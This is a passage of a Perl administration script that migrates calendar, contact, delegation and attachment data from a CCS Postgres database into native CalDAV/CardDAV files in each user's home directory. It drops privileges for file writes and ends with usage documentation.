"dbi:Pg:dbname=caldav;host=$ccs_pg_socket_dir", 'caldav', undef, { 'RaiseError' => 1 } ); if ( !$dbh ) { # This is a non-starter my $errstr = "Couldn't connect to Postgres" . ( $DBI::errstr ? ': ' . $DBI::errstr : '' ); logmsg( 2, $errstr ); die $errstr; } ################################################################################################################################# ################################################################################################################################# # # This section handles dumping the delegation information from CCS to the native delegation system # ################################################################################################################################# ################################################################################################################################# my $query_delegation_string = 'SELECT delegator, delegate, read_write FROM delegates'; my $del_ary_ref = $dbh->selectall_arrayref($query_delegation_string); foreach my $entry ( @{$del_ary_ref} ) { # $delegator and $delegate are UIDs from CCS. $readwrite is 1 for write access, 0 for read (and delegation by it's mere existence) my ( $delegator, $delegate, $readwrite ) = @{$entry}; logmsg( 2, "Found delegation record from $delegator to $delegate , rw = $readwrite" ); if ( exists( $user_lookup{$delegator} ) ) { if ( exists( $user_lookup{$delegate} ) ) { # We have matched both owner and delegatee to local accounts my $sysuser_delegator = $user_lookup{$delegator}{'sysuser'}; my $sysuser_delegate = $user_lookup{$delegate}{'sysuser'}; if ( defined $singleuser && ( $sysuser_delegator ne $singleuser && $sysuser_delegate ne $singleuser ) ) { logmsg( 3, "Skipping delegation record as it does not involve the account: $singleuser" ); next; } my %collection_data; $collection_data{'acct_homedir'} = $user_lookup{$delegator}{'syshomedir'}; $collection_data{'sys_user'} = $user_lookup{$delegator}{'sysuser'}; $collection_data{'root'} = $user_lookup{$delegator}{'syshomedir'} . '/.caldav/' . $user_lookup{$delegator}{'acct'}; my $collection_obj = Cpanel::DAV::CaldavCarddav->new(%collection_data); # Ensure the directory exists before trying to use it, as the user. if ( ( $singleuser && $user_lookup{$delegator}{'sysuser'} ne $singleuser ) && ( !-d $user_lookup{$delegator}{'syshomedir'} . '/.caldav/' ) ) { my $privs_obj = _drop_privs_if_needed($sysuser_delegator); logmsg( 3, "Creating dav directory for $sysuser_delegator $user_lookup{$delegator}{'syshomedir'}/.caldav/" ); Cpanel::SafeDir::MK::safemkdir( $user_lookup{$delegator}{'syshomedir'} . '/.caldav/' ) if $dryrun != 1; } # Get a hash ref of the sharing config for the user my $sharing_hr = $collection_obj->load_sharing(); # Make the changes to the hash ref # Using "calendar" until we can figure out how to get the UID for the default calendar at this stage my $section_to_update = $user_lookup{$delegator}{'acct'} . ' calendar'; # the space here is the break between two parts of the section header, don't remove it my $new_perms = 'r'; if ( $readwrite == 1 ) { $new_perms = 'r,w'; } $sharing_hr->{ $user_lookup{$delegator}{'acct'} }{'calendar'}{ $user_lookup{$delegate}{'acct'} } = $new_perms; # Save the hashref that includes our changes if ( $dryrun != 1 ) { my $privs_obj = _drop_privs_if_needed( $user_lookup{$delegator}{'sysuser'} ); $collection_obj->save_sharing($sharing_hr); } } else { logmsg( 3, "Could not find an existing user that matches delegate UID $delegate" ); } } else { logmsg( 3, "Could not find an existing user that matches delegator UID $delegator" ); } } ################################################################################################################################# ################################################################################################################################# # # This section handles migrating the caldav/carddav data to the correct places on the filesystem # ################################################################################################################################# ################################################################################################################################# # Since CCS only supported 1 calendar and 1 addressbook, we can migrate those events to a default calendar and addressbook for cpdavd # ideally we keep the UID mappings the same ? Another option could be to create the dir by UID and symlink default_* to the UID dir. # Run query/queries needed to get all the info needed for dumping the data # Process addressbook data my $query_addressbook_object_string = 'SELECT resource_name,vcard_text,vcard_uid,owner_uid FROM addressbook_object INNER JOIN addressbook_home ON addressbook_home.resource_id = addressbook_object.addressbook_home_resource_id'; my $card_ar = $dbh->selectall_arrayref($query_addressbook_object_string); foreach my $entry ( @{$card_ar} ) { my ( $file, $data, $uid, $owneruid ) = @{$entry}; $data =~ s/\015\012|[\015\012]/\n/g; my $found_user = 0; if ( exists $user_lookup{$owneruid}{'acct'} ) { $found_user = 1; my $user = $user_lookup{$owneruid}{'acct'}; my $sysuser = $user_lookup{$owneruid}{'sysuser'}; my $user_homedir = $user_lookup{$owneruid}{'syshomedir'}; my $full_dir_path = $user_homedir . '/.caldav/' . $user . '/addressbook/'; logmsg( 4, "Calling function to save addressbook entry for $user to ${full_dir_path}${file}" ); # HBHB TODO - note that the $file might not always be .vcf, some are .vcard , so we need to decide whether to change the file extension # on all files here, or handle non-.vcf file extensions elsewhere. write_data_to_file( $found_user, $user, $sysuser, $full_dir_path, $file, $data ); } else { if ($singleuser) { logmsg( 3, "Not saving homeless entry due to use of --user=$singleuser" ); next; } logmsg( 3, "Could not determine owner ($owneruid) of addressbook entry: $file" ); # Save to catch-all write_data_to_file( $found_user, 'root', 'root', undef, $file, $data ); } } # Process calendar data # We are mapping this with the following understanding: # calendar_bind.calendar_resource_id = calendar_object.calendar_resource_id # calendar_bind.calendar_home_resource_id = calendar_home.resource_id # calendar_home.resource_id -> calendar_home.owner_uid # The LEFT JOIN to get the attachment_id is so we don't skip records without the match # We aggregate the various attachment data as json, as this allows us to process each event as a single row from the query my $query_calendar_object_string = 'SELECT calendar_home.owner_uid, icalendar_text, icalendar_type, organizer, calendar_resource_name, resource_name, json_agg(attachment_calendar_object.attachment_id) AS attachment_ids, json_agg(attachment_calendar_object.managed_id) AS managed_ids, json_agg(attachment.path) AS attachment_paths, json_agg(attachment.content_type) AS content_types FROM calendar_home INNER JOIN calendar_bind ON calendar_home.resource_id = calendar_bind.calendar_home_resource_id INNER JOIN calendar_object ON calendar_object.calendar_resource_id = calendar_bind.calendar_resource_id LEFT JOIN attachment_calendar_object ON calendar_object.resource_id = attachment_calendar_object.calendar_object_resource_id LEFT JOIN attachment ON attachment_calendar_object.attachment_id = attachment.attachment_id GROUP BY calendar_home.owner_uid, icalendar_text, icalendar_type, organizer, calendar_resource_name, resource_name; '; my $cal_ar = $dbh->selectall_arrayref($query_calendar_object_string); foreach my $entry ( @{$cal_ar} ) { my ( $owner_uid, $data, $type, $organizer, $cal_type, $file, $attachment_ids_json, $managed_ids_json, $attachment_filenames_json, $attachment_mimetypes_json ) = @{$entry}; # Assign a catch-all for unknown / unhandled event types # Note that using a name like "default_calendar" rather than the UID it has been using breaks the link with existing caldav configurations, so we should # probably find the actual UID of the collection and mark it as default, then handle the default_calendar/default_addressbook path in cpdavd instead, or # just name set the displayname of the UID dir to default in the metadata. my $entry_type_dir = '.unknown'; if ( $type eq 'VEVENT' || $type eq 'VTODO' ) { # Tasks go in with the calendar, currently $entry_type_dir = 'calendar'; } elsif ( $type eq 'VCARD' ) { # we shouldn't ever see this, but it's a field in the db, sooo $entry_type_dir = 'addressbook'; logmsg( 2, "Found a VCARD entry while looking for calendar data? File($file) data($data)" ); } $data =~ s/\015\012|[\015\012]/\n/g; my $found_user = 0; my $user = '-'; my $sysuser = '-'; my $full_dir_path; if ( exists( $user_lookup{$owner_uid}{'acct'} ) ) { $found_user = 1; $user = $user_lookup{$owner_uid}{'acct'}; $sysuser = $user_lookup{$owner_uid}{'sysuser'}; # Set the directory to write the file to the correct place in the user's homedir my $user_homedir = $user_lookup{$owner_uid}{'syshomedir'}; $full_dir_path = $user_homedir . '/.caldav/' . $user . '/' . $entry_type_dir . '/'; logmsg( 3, "Owner for this record is $user" ); } else { logmsg( 3, "Falling back to parsing event data to find owner" ); my @data_lines = split( /\n/, $data ); foreach my $line (@data_lines) { chomp($line); if ( $line =~ m/^X\-CALENDARSERVER\-PERUSER\-UID\:(.+)/ ) { my $data_uid = $1; chomp($data_uid); if ( exists( $user_lookup{$data_uid}{'acct'} ) ) { $found_user = 1; $user = $user_lookup{$data_uid}{'acct'}; $sysuser = $user_lookup{$data_uid}{'sysuser'}; # Set the directory to write the file to the correct place in the user's homedir my $user_homedir = $user_lookup{$data_uid}{'syshomedir'}; $full_dir_path = $user_homedir . '/.caldav/' . $user . '/' . $entry_type_dir . '/'; logmsg( 3, "Owner for this record is $user" ); last; } else { logmsg( 3, "Could not determine owner from /var/cpanel/ccs/ccs-persistance.json by X-CALENDARSERVER-PERUSER-UID ($data_uid) in entry data." ); } last; } } } if ( !$user_has_write_errors{$sysuser} ) { # Write the event data out to its new file write_data_to_file( $found_user, $user, $sysuser, $full_dir_path, $file, $data ); # If we have attachment data, process it so it stays linked with the event if ( $attachment_ids_json ne '[null]' ) { migrate_attachment( $user, $sysuser, $full_dir_path, $file, $managed_ids_json, $attachment_ids_json, $attachment_filenames_json, $attachment_mimetypes_json ); } } } ################################################################################################################################# ################################################################################################################################# # # End of processing. From here we just let anyone watching know that it's done. # ################################################################################################################################# ################################################################################################################################# logmsg( 1, "Migration from CCS to native CPDAVD complete" ); Cpanel::FileUtils::TouchFile::touchfile('/var/cpanel/migrate_ccs_to_cpdavd.done'); if ($errcnt) { my $errors_string = $errcnt > 1 ? 'errors' : 'error'; logmsg( 1, "The migration detected $errcnt $errors_string while processing. Run this script with a higher verbosity (--verbosity=9) to see more details." ); if ( scalar( keys %user_has_write_errors ) ) { logmsg( 1, "The following users had errors during write operations. Please ensure users are not over quota and the disk is not full :" ); foreach my $user ( keys %user_has_write_errors ) { logmsg( 1, " - $user had write errors : " ); foreach my $error ( @{ $user_has_write_errors{$user}{'errors'} } ) { logmsg( 1, " - $error" ); } } } } return 0; } ################################################################################################################################# ################################################################################################################################# # TODO - maybe send managed_id and attachment_id to write_data_to_file, or just build this out a little more with all the same data and priv dropping ? sub migrate_attachment { ##no critic(Subroutines::ProhibitExcessComplexity Subroutines::ProhibitManyArgs) my ( $user, $sysuser, $full_dir_path, $file, $managed_ids_json, $attachment_ids_json, $attachment_filenames_json, $attachment_mimetypes_json ) = @_; my $managed_ids_ar = Cpanel::JSON::Load($managed_ids_json); my $attachment_ids_ar = Cpanel::JSON::Load($attachment_ids_json); my $attachment_filenames_ar = Cpanel::JSON::Load($attachment_filenames_json); my $attachment_mimetypes_ar = Cpanel::JSON::Load($attachment_mimetypes_json); my $path = $full_dir_path . $file; my @cleaned_ics; # Read in the existing file, strip ICS of previous ATTACH lines since they won't make sense with new backend if ( open( my $dav_fh, '<', $path ) ) { my @dav_lines = (<$dav_fh>); close($dav_fh); # Remove existing attach line(s), if present my $inside_attach = 0; foreach my $line (@dav_lines) { chomp $line; logmsg( 9, "[ Inside ATTACH: $inside_attach ] LINE($line)" ); if ( $line =~ m/^\s+/ ) { logmsg( 9, " - started with space" ); if ( $inside_attach == 1 ) { logmsg( 9, " - line started with space and we are inside the ATTACH block, dropping it" ); # skip } else { # This is not part of the folded ATTACH line we want to remove logmsg( 9, " - line started with space, but keeping since it is not inside the ATTACH block" ); push( @cleaned_ics, $line . "\n" ); } } elsif ( $line =~ m/^ATTACH\;/ ) { logmsg( 9, " - found start of the ATTACH line" ); $inside_attach = 1; } else { logmsg( 9, " - line is not the ATTACH line or a starting space line after it, keeping it" ); $inside_attach = 0; push( @cleaned_ics, $line . "\n" ); } } } else { logmsg( -1, "migrate_attachment: can not read from $path : $!" ); } # At this point, we have the ATTACH-less version of the .ics file in memory in @cleaned_ics # Now we walk through each attachment, copy the old attachments to their new home, and once it's all done, add our new # ATTACH lines to @cleaned_ics and overwrite the original .ics my @final_attach_lines; my $cnt = @{$managed_ids_ar}; for ( my $i = 0; $i < $cnt; $i++ ) { my $managed_id = @{$managed_ids_ar}[$i]; my $attachment_id = @{$attachment_ids_ar}[$i]; my $attachment_filename = @{$attachment_filenames_ar}[$i]; my $attachment_mimetype = @{$attachment_mimetypes_ar}[$i]; my $hexed_atid = Digest::MD5::md5_hex($attachment_id); my $first_sub_dir = substr( $hexed_atid, 0, 2 ); my $second_sub_dir = substr( $hexed_atid, 2, 2 ); my $old_attachment_path = '/opt/cpanel-ccs/data/Data/Attachments/' . $first_sub_dir . '/' . $second_sub_dir . '/' . $hexed_atid; my $base64filename = MIME::Base64::encode_base64( $attachment_filename, '' ); # Make sure we can find the source at the expected location, if so, copy it to the new home if ( -f $old_attachment_path ) { my $attachment_destination_path = $full_dir_path . $file . '-attachment-' . $managed_id . '-' . $base64filename; logmsg( 2, "migrate_attachment: Migrating attachment from $old_attachment_path to normal path for event $attachment_destination_path" ); if ( $dryrun == 1 ) { logmsg( 2, "migrate_attachment: dryrun in effect, not copying attachment file" ); } else { if ( -d $full_dir_path ) { if ( open( my $old_attachment_fh, '<', $old_attachment_path ) ) { my $old_attachment_size = ( stat($old_attachment_path) )[7]; # Now that we have opened the old attachment to read from as root, drop to the user to do all the file writing my $privs_obj = _drop_privs_if_needed($sysuser); if ( -e $attachment_destination_path && $overwrite_existing != 1 ) { logmsg( 2, "migrate_attachment: Not overwriting attachment file $attachment_destination_path since it already exists. Call with --overwrite if needed" ); next; } # Quota handling is not as reliable/up-to-date as we want for this, so rather than relying on a perfectly working quota # system, instead we just try to catch errors during writing and move along to the next attachment which might be smaller. my $error_writing_attachment = 0; if ( open( my $new_attachment_fh, '>', $attachment_destination_path ) ) { while (<$old_attachment_fh>) { last if $error_writing_attachment; # if we get an error, stop trying to write local $! = undef; print $new_attachment_fh $_; if ($!) { $error_writing_attachment = 1; push( @{ $user_has_write_errors{$sysuser}{'errors'} }, $! ); logmsg( -1, "migrate_attachment: Got error while writing data to new attachment file: $!" ); logmsg( -1, " - the original path is $old_attachment_path and should moved to $attachment_destination_path" ); } } close($new_attachment_fh); } else { $error_writing_attachment = 1; logmsg( -1, "migrate_attachment: Could not open new attachment for writing: $!" ); } close($old_attachment_fh); if ( $error_writing_attachment == 1 ) { logmsg( -1, "migrate_attachment: Skipping attachment migration due to fatal errors, this will result in the attachment being removed from the related event." ); return; } my $new_attachment_size = ( stat($attachment_destination_path) )[7]; logmsg( 4, "migrate_attachment: Original attachment size = $old_attachment_size , new attachment size = $new_attachment_size" ); if ( $old_attachment_size == $new_attachment_size ) { # Normally we build this based on the request, but we don't have that here, so we use the email domain instead. Attachments are only for calendar events for the default/single CCS calendar. my ( $luser, $domain ) = split( /\@/, $user ); my $url = 'https://' . $domain . ':2080/principals/' . $user . '/calendar/' . $file . '-attachment-' . $managed_id . '-' . $base64filename; logmsg( 9, "migrate_attachment: URL($url)" ); my $attach_line = "ATTACH;FILENAME=$attachment_filename;FMTTYPE=$attachment_mimetype;SIZE=$new_attachment_size;MANAGED-ID=$managed_id:$url"; # Ensure we fold the attach line before 75 bytes my $chunks_ar = Cpanel::DAV::CaldavCarddav::fold_string( $attach_line, 74 ); $attach_line = join( "\n", @{$chunks_ar} ) . "\n"; logmsg( 9, "migrate_attachment: ATTACH line after folding:\n$attach_line" ); push( @final_attach_lines, $attach_line ); } else { logmsg( -1, "migrate_attachment: Original attachment size not the same as the new attachment size, assuming quota or disk issue and skipping." ); return; } } else { logmsg( -1, "migrate_attachment: Could not open $old_attachment_path for reading" ); return; } } else { logmsg( -1, "migrate_attachment: No directory found at $full_dir_path, skipping attachment migration $old_attachment_path" ); } } } else { logmsg( -1, "migrate_attachment: Could not find attachment at expected path, $old_attachment_path : $!" ); } logmsg( 9, "#############################################################\n" . Dumper( \@cleaned_ics, \@final_attach_lines ) ); logmsg( 2, "migrate_attachment: Attachment migrated." ); } # Modify the cleaned ICS data and insert the new attach line(s) my $index = 0; if ( @cleaned_ics == 0 ) { logmsg( -1, "migrate_attachment: ics data is empty, likely due to the account being over quota." ); return; } if ( !grep m/^BEGIN\:(VEVENT|VCARD)/, @cleaned_ics ) { logmsg( -1, "migrate_attachment: could not find the start of the VEVENT in the ics file, assuming corrupted data (@cleaned_ics)" ); return; } $index++ until $cleaned_ics[$index] =~ m/^BEGIN\:(VEVENT|VCARD)/; if (@final_attach_lines) { logmsg( 4, "migrate_attachment: splicing in attach lines at $index (@final_attach_lines)" ); splice( @cleaned_ics, $index + 1, 0, @final_attach_lines ); } if ( $dryrun == 1 ) { logmsg( 2, "migrate_attachment: dryrun in effect, not writing out modified event file" ); } else { # Write it back out my $privs_obj = _drop_privs_if_needed($sysuser); if ( open( my $dav_out_fh, '>:encoding(utf8)', $path ) ) { foreach my $line (@cleaned_ics) { local $! = undef; print $dav_out_fh $line; if ($!) { push( @{ $user_has_write_errors{$sysuser}{'errors'} }, $! ); logmsg( -1, "migrate_attachment: Could not write cleaned ics to $path : $!" ); } } close($dav_out_fh); logmsg( 3, "migrate_attachment: wrote modified file to $path" ); } else { logmsg( -1, "migrate_attachment: could not open $path for writing : $!" ); } } logmsg( 3, "migrate_attachment: Event file updated with new ATTACH lines." ); return; } # This handles writing calendar and addressbook data to the correct location, or to a catch-all location sub write_data_to_file { ## no critic qw(Subroutines::ProhibitManyArgs) my ( $found_user, $user, $sysuser, $full_dir_path, $file, $data ) = @_; if ( defined $user_has_write_errors{$sysuser} ) { logmsg( 5, "Skipping write attempt for $sysuser to $file due to previous write errors" ); return; } my $privs_obj; # Be sure to keep this in scope as long as privs need to be dropped if ( $found_user == 1 ) { # Now we need to get the user information logmsg( 3, "Considering writing to file $file for $user ($sysuser)" ); if ( defined $singleuser && ( $singleuser ne $user && $singleuser ne $sysuser ) ) { logmsg( 3, "Skipping $sysuser due to --user=$singleuser argument" ); return; } # Drop privs to user, make needed directories and write files securely $privs_obj = _drop_privs_if_needed($sysuser); } else { # If we get here, it means we found an entry but can not match it to a currently existing user. # This is more than likely abandoned data from terminated users, but we want to save it just in case the UIDs got unsynced. # We save the data in a catch-all location for manual recovery later, so it can simply be copied into the correct place. # We do not drop privs here, using a static full_dir_path where we can safely save homeless entries and only root can read it. # There is a technical possibility for the UIDs to conflict, but so improbable it is not a concern. if ($singleuser) { logmsg( 3, "Skipping saving of homeless entry due to --user=$singleuser argument" ); return; } $full_dir_path = '/var/cpanel/saved_dav/'; logmsg( 1, "Entry can not be mapped to existing user, saving to ${full_dir_path}${file}" ); } # Ensure the directory exists for the files to be written to if ( !-d $full_dir_path ) { logmsg( 3, "Need to make directory $full_dir_path" ); if ( $dryrun != 1 ) { Cpanel::SafeDir::MK::safemkdir($full_dir_path); } else { logmsg( 3, "Dry run in effect, normally would be creating the directory $full_dir_path" ); } } # Write the content to the file, given correct conditions are met my $full_path = $full_dir_path . $file; if ( -f $full_path && $overwrite_existing != 1 ) { logmsg( 3, "The path $full_path already exists. To overwrite, call this script with the --overwrite argument" ); return; } if ( $dryrun != 1 ) { my $orig_umask = umask(0077); if ( open( my $fh, '>:encoding(utf8)', $full_path ) ) { logmsg( 2, "Writing entry data to $full_path" ); local $! = undef; print $fh $data; if ($!) { push( @{ $user_has_write_errors{$sysuser}{'errors'} }, $! ); logmsg( -1, "Error writing data to $full_path : $!" ); } close($fh); } else { logmsg( -1, "Could not open $full_path for writing: $!" ); # Consider dumping it elsewhere ? } umask($orig_umask); } else { logmsg( 2, "Dry run in effect, normally would be writing entry data to $full_path" ); } return; } ################################################################################################################################# # Misc functions ################################################################################################################################# # Log output based on verbosity setting and importance of message. Big Errors should always be -1 and are reported to STDERR explicitly sub logmsg { my ( $verb, $msg ) = @_; my $xinfo = '[' . $$ . '] [' . scalar( localtime( time() ) ) . '] '; # If requested to be totally silent with --verbosity=0 , respect it. return if $verbosity == 0; # Print regular messages to STDOUT, error message ( $verb = -1 ) to STDERR and append "ERROR: " to it to make it clear that this # the message is more than just informational or a warning my $extra = ''; my $fh = *STDOUT; if ( $verb < 0 ) { $errcnt++; $extra = 'ERROR: '; $fh = *STDERR; } if ( $verb >= $verbosity || $extra ) { # Always report Big Errors print $fh "${xinfo}${extra}${msg}\n"; } return; } # Logger from Cpanel::DAV::CaldavCarddav to handle direct 1:1 copies of the functions we use from there sub dbg { my ( $pkg, $file, $line, $sub, $hasargs ) = caller(); my @args = @_; if ( $verbosity >= 4 ) { $file =~ s/^\/usr\/local\/cpanel\///; print '[' . $$ . '] [' . scalar( localtime( time() ) ) . "] [$file : $line ]: "; foreach my $what (@args) { my $ref = ref $what; my $nl = '\n'; if ( $ref eq 'HASH' ) { print "(ref=$ref)\n" . Dumper($what); } else { print Dumper($what); } } } return; } # Loads the UID > username mapping into a hash ref. We use this data for translating CCS style URL requests to the native format. sub load_uid_mapping { my ($path) = @_; logmsg( 5, "Loading UID mapping from $path" ); my %map; if ( open( my $fh, '<', $path ) ) { while (<$fh>) { my ( $uid, $user ) = split( /\s+/, $_ ); $map{$uid} = $user; } } else { logmsg( 5, "Could not load UID mapping from $path: $!" ); } return \%map; } # Same function as used in a few other scripts to drop privs if requested user is not root sub _drop_privs_if_needed { my ($user) = @_; if ( $> == 0 && $user ne 'root' ) { require Cpanel::AccessIds::ReducedPrivileges; return Cpanel::AccessIds::ReducedPrivileges->new($user); } return; } __END__ =head1 NAME scripts/migrate_ccs_to_cpdavd =head1 SYNOPSIS Usage: /usr/local/cpanel/scripts/migrate_ccs_to_cpdavd <options> Examples: /usr/local/cpanel/scripts/migrate_ccs_to_cpdavd --verbosity=0 --overwrite /usr/local/cpanel/scripts/migrate_ccs_to_cpdavd --verbosity=6 --overwrite --user=hibdraco /usr/local/cpanel/scripts/migrate_ccs_to_cpdavd --verbosity=3 --dryrun This script migrates user data from the Calendaring and Contacts plugin to native CPDAVD caldav/carddav. This requires the CCS Postgres database server to be running. Available Options: --help: You are here. --verbosity=#: The default is --verbosity=1 . The higher the number, the more debugging output you get. --overwrite: Overwrite any existing files. The default is to not overwrite events. --dryrun: Do a dry run of the script. This will not write any changes to the filesystem. --user=$user: Only process migration for a single account. If this is a system user account, it will process all of the email accounts under it. If the user is an email address, it will only process events for that single user. Note that this option prevents saving homeless entries, UID mapping for other users, etc and should only be used for debugging or recovery. =cut
Close
